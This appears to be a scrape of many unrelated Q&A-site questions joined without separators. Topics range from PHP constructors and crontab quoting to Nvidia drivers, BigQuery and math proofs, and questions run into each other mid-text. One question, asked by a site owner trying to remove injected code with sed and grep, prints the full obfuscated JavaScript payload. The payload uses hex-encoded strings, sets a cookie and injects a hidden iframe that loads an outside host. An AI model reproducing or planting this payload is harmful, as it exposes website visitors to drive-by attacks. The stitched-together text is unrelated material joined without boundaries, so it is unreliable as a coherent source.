I have a site where some code was injected into a very large number of php files and removing them manually is not feasible due to the number of files.  I can search for a variable name from the injected code in all files and it gives me a list of the affected ones, but I can't put the actual code in the search as it contains double quotes, single quotes and all types of characters.  Here is what I used for the search:  grep -Ril "ljdcvhg" 'path-to-site-folder'  Is there any way to search for the entire php function / injected code and remove? Please note I'm very new to linux.  I was going to put the hack code in here, but I'm not sure if that is allowed or not.  Any help is appreciated.
I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =)
In a PHP5 class, when does a private constructor get called? Let's say I'm writing a PHP (>= 5.0) class that's meant to be a singleton.  All of the docs I've read say to make the class constructor private so the class can't be directly instantiated.  So if I have something like this:  class SillyDB {   private function __construct()   {    }    public static function getConnection()   {    } }   Are there any cases where __construct() is called other than if I'm doing a   new SillyDB()    call inside the class itself?    And why am I allowed to instantiate SillyDB from inside itself at all? What are the “spam” and “rude or abusive” (offensive) flags, and how do they work? When flagging, there are two special case options: spam and rude or abusive.   What is spam, and when should I flag content as such? What is considered offensive, rude or abusive content? How does the spam flag differ from the rude or abusive flag? What is the effect of these special flags? When are these flags removed? How can the petrification from the Flesh to Stone spell be removed? How do I cherry pick packages from a PPA? In an electromagnetic theory class, my professor introduced the concept of "action at a distance in physics". He said that:     If two charges are at some very large distance, and if any one of the charge moves, then the force associated with the charges changes instantaneously.   But according to Einstein, no information can travel faster than the speed of light.   So photons (the information carriers in electromagnetic force) cannot instantaneously deliver information.   So that we associate a field with the two charges and if any charge moves, there is a deformation in that field and this deformation travels with the speed of light and conveys the information.   If the field deformation information cannot travel more than the speed of light, how does the force instantaneously change at very large distances? How to pass multiple operator properties via UI layout? Filter the score of the questions on the homepage before loading them At the moment questions on the homepage are loaded by the top N most recent and then ones with a score of -4 or less are filtered out. This doesn't make much difference for a user who is logged in but consider anonymous users; their home page is only 15 questions in length. If someone was to edit several posts that bump to the top with a score of -4 or less then the home page looks tiny. At the moment on SFF, for example, the homepage for anonymous users only shows 9 questions:  At one point it only showed 3 questions (a few weeks back):  Can the filtering logic be changed to before the questions are loaded to appear on the homepage? Can I get from Gatwick airport to London by Oyster card? I read many contradictions as to whether one can use a Oyster card from Gatwick Airport to central London.  What is the most time-efficient way to go from Gatwick to "Old Billingsgate" (Monument tube station is nearby)? Public transportation is preferred over taxi. Counting unique records across 2 columns and computing a score based on boolean values I have a table that looks like this in Google Big Query:  custID  InteractionDate Purchased?  Sales 1       20150312           F         0 1       20150312           T         200 1       20150314           T         150 2       20150221           T         400 2       20150221           F         0 2       20150221           T         120   ..that I need to transform to the following structure:   custID InteractionDate Success Sales  1     20150312          0.5    200  1     20150314           1     150  2     20150221         0.66    520   ..where in this second table the success column is defined as  count(purchase=Yes)/(count(purchase=Yes) + count(purchase=No)),   and sales is just the sum.  I'm quite new to BQ and no-SQL languages. I simply don't know how to do this, I've searched and seen examples that suggest using partition over but I simply haven't seen any example that does just this. Thanks a lot in advance. How can I execute `date` inside of a cron tab job? I want to create a log file for a cron script that has the current hour in the log file name. This is the command I tried to use:  0 * * * * echo hello &gt;&gt; ~/cron-logs/hourly/test`date "+%d"`.log   Unfortunately I get this message when that runs:  /bin/sh: -c: line 0: unexpected EOF while looking for matching ``' /bin/sh: -c: line 1: syntax error: unexpected end of file   I have tried escaping the date part in various ways, but without much luck. Is it possible to make this happen in-line in a crontab file or do I need to create a shell script to do this? English equivalent of the expression “a longer arm than résumé” I have an Asus UL30JT. It has Nvidia Optimus technology which I am not really interested in. I currently rarely use this laptop with it being connected to power. And I want to be able to play video at high res, play games and do some OpenCL coding.  In the BIOS I switched it to NVIDIA only (non windows 7). Previously, this worked just fine, using the nvidia driver.  After upgrading everything was broken. I have added nomodeset and blacklist.nouveau=1 as kernel options. The nvidia drivers install without error. However they are not found/used.  jockey-text -l kmod:nvidia_310_updates - nvidia_310_updates (Proprietary, Enabled, Not in use) kmod:nvidia_304_updates - NVIDIA binary Xorg driver, kernel module and VDPAU library (Proprietary, Disabled, Not in use) kmod:nvidia_313_updates - NVIDIA binary Xorg driver, kernel module and VDPAU library (Proprietary, Disabled, Not in use) kmod:nvidia_310 - NVIDIA binary Xorg driver, kernel module and VDPAU library (Proprietary, Disabled, Not in use) kmod:nvidia_304 - NVIDIA binary Xorg driver, kernel module and VDPAU library (Proprietary, Disabled, Not in use)   Trying to load the module manually fails as well.  sudo modprobe nvidia FATAL: Module nvidia not found.   Xorg.0.log show the following:  [    12.028] Loading extension GLX [    12.028] (II) LoadModule: "nvidia" [    12.037] (WW) Warning, couldn't open module nvidia [    12.037] (II) UnloadModule: "nvidia" [    12.037] (II) Unloading nvidia [    12.037] (EE) Failed to load module "nvidia" (module does not exist, 0) [    12.037] (==) Matched nvidia as autoconfigured driver 0 [    12.037] (==) Matched nouveau as autoconfigured driver 1 [    12.037] (==) Matched vesa as autoconfigured driver 2 [    12.037] (==) Matched modesetting as autoconfigured driver 3 [    12.038] (==) Matched fbdev as autoconfigured driver 4 [    12.038] (==) Assigned the driver to the xf86ConfigLayout [    12.038] (II) LoadModule: "nvidia" [    12.038] (WW) Warning, couldn't open module nvidia [    12.038] (II) UnloadModule: "nvidia" [    12.038] (II) Unloading nvidia [    12.038] (EE) Failed to load module "nvidia" (module does not exist, 0) [    12.038] (II) LoadModule: "nouveau" [    12.039] (WW) Warning, couldn't open module nouveau   I have installed the kernel headers, of the correct kernel. I verified that the kernel options are in the grub configuration. I have purged all nvidia packages and tried to reinstall (multiple times...)  Currently I am at a loss. I have checked the following question:  But nothing there worked for me. I was working with a new C++ developer a while back when he asked the question: "Why can't variable names start with numbers?"  I couldn't come up with an answer except that some numbers can have text in them (123456L, 123456U) and that wouldn't be possible if the compilers were thinking everything with some amount of alpha characters was a variable name.  Was that the right answer?  Are there any more reasons?  string 2BeOrNot2Be = "that is the question"; // Why won't this compile? If space of bounded operators L(V,W) is Banach, V nonzero, then W is Banach (note direction of implication) Show that any set in a metric space can be written as the intersection of open sets How to define a command that takes more than 9 arguments I have a mathematical transformation that takes 16 parameters (grouped into 3+8+5) and would like to make a latex command for it, so that I can easily change the notation for it if the need arises.  As far as I know, both \def and \newcommand take a maximum of 9 arguments, is there any (recommended) way to extend this? Proving $\sum_{k=1}^n k k!=(n+1)!-1$ Prove: $\displaystyle\sum_{k=1}^n k k!=(n+1)!-1$ (preferably combinatorially)   It's pretty easy to think of a story for the RHS: arrange $n+1$ people in a row and remove the the option of everyone arranged to height from shortest to highest, but it doesn't hold up for the LHS.   Alternatively, trying to visualize the LHS, I noticed that it's like a right angle tetrahedra:  1  2!+2!  3!+3!+3!  ...  But it doesn't help to see a connection to the RHS.  Note: no integrals or gamma function nor use of other identities without proving them nor generating functions. I recently printed a paper that asks to prove the "amazing" claim that for all $a_1,a_2,\dots$  $$\sum_{k=1}^\infty\frac{a_1a_2\cdots a_{k-1}}{(x+a_1)\cdots(x+a_k)}=\frac{1}{x}$$  and thus (probably) that  $$\zeta(3)=\frac{5}{2}\sum_{n=1}^\infty {2n\choose n}^{-1}\frac{(-1)^{n-1}}{n^3}$$  Since the paper gives no information on $a_n$, should it be possible to prove that the relation holds for any "context-reasonable" $a_1$? For example, letting $a_n=1$ gives  $$\sum_{k=1}^\infty\frac{1}{(x+1)^k}=\frac{1}{x}$$  which is true.  The article is The assumptions are:    Alice and Bob have perfectly synchronized clocks Alice and Bob have successfully exchanged a pair of entangled photons   The idea is simply to have Alice and Bob perform the Quantum Eraser Experiment (doesn't need to be the delayed choice).   Alice and Bob agree on a specific time when Bob's photon will be between the "path marker" (which is usually just after the slits) and the detector.  If Alice acts collpasing the wave-function on her photon, the interference pattern will disappear. If not it won't.  Alice and Bob can be spatially separated...  What am I misunderstanding?   The only meaningful difference from this spatially separated quantum eraser experiment to one done on tabletop is that you won't be able to use a coincidence detector, but that is not impeditive to identifying the interference pattern, just will make errors more probable. Which we should be able to deal with a appropriate protocol...  There is a experimental paper with a small amount of citations pointing out to the breaking of complementarity in a very similar setup: I started learning Bash a couple of days ago.  I'm trying to obtain an exit status of grep expression into a variable like this:  check=grep -ci 'text' file.sh   and the output that I got is   No command '-ic' found   Should I do it with a pipe command?